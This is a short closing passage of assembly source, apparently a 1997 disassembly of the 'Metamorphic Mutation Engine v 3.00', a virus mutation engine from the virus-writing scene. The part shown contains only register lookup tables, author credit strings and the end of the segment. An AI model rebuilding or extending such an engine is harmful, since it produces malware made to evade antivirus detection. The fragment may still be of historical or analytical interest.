REP nop regop2_table: db 0FFh ; DI db 0F6h ; SI db 0FFh ; DI db 0F6h ; SI regop_table: db 5 ; DI db 4 ; SI db 5 ; DI db 4 ; SI db 'Metamorphic Mutation Engine v 3.00',0 db '(C) Stainless Steel Rat 1996-97',0 db 'It''s C00LEST Engine',0 end_mme: MME30 ends public mme_engine end ; End of MME 3.0 disasm ; (c) 1997, Tcp/29A (tcp@cryogen.com)